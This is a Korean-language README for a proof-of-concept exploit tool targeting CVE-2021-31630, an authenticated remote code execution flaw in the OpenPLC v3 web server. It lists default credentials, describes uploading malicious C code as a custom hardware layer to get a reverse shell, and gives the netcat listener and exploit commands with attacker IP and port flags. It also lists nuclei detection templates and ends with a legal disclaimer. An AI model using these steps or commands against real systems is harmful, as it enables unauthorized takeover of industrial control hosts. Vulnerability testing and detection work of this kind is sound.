OpenPLC v3 인증된 RCE (CVE-2021-31630)

이것은 OpenPLC v3의 취약점 CVE-2021-31630에 대한 최신 Python 3.13+ 호환 개념 증명 익스플로잇입니다. 이 취약점은 인증된 사용자가 악성 코드가 포함된 사용자 정의 하드웨어 레이어를 업로드할 수 있게 하여 호스트에서 원격 코드 실행(RCE)을 유발합니다.

원본 취약점 발견 및 권고 자료는 Fellipe Oliveira가 제공했습니다. 이 재구현 및 최신화는 httpx, CLI 도구, 로깅 및 보다 안전한 탐지 기술을 사용합니다.

익스플로잇 개요

• 취약점: CVE-2021-31630
• 구성 요소: OpenPLC v3 웹 서버
• 영향: 인증된 원격 코드 실행
• 기본 자격 증명: openplc:openplc

익스플로잇 흐름

1. 유효한 자격 증명을 사용하여 로그인
2. 악성 C 코드를 사용자 정의 하드웨어 레이어로 업로드
3. 컴파일 트리거
4. 실행 트리거 (선택 사항)
5. 리버스 셸 연결 수신

사용법

1. 리스너 시작:

nc -lvnp 9001

2. 익스플로잇 실행:

python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001

선택적 플래그:

• -u 사용자 이름 (기본값: openplc)
• -p 비밀번호 (기본값: openplc)
• -t 타임아웃(초) (기본값: 20)

기능

• Python 3.13+ 호환
• httpx로 구축
• 깔끔한 출력을 위한 로깅 지원
• 재사용성을 위한 모듈식 함수
• 핵 탐지 템플릿 포함

핵 탐지 템플릿

1. 기본 자격 증명 확인

nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080

2. 수동 RCE 취약점 확인

nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080

두 번째 템플릿은 로그인한 후 무해한 페이로드 업로드 및 컴파일을 시도하여 실제 코드 실행을 유발하지 않고 취약성을 확인합니다.

포함된 파일

• OpenPLC_CVE_2021_31630.py – Python 3.13+ 익스플로잇
• nuclei-templates/openplc-default-login.yaml – 기본 자격 증명 탐지
• nuclei-templates/openplc-authenticated-rce-check.yaml – 안전하게 취약한 동작 탐지

⚠️ 법적 고지 / 윤리

이 코드는 교육 및 공인된 보안 테스트 목적으로만 사용해야 합니다. 시스템 소유자의 명시적 허가 없이 사용하지 마십시오.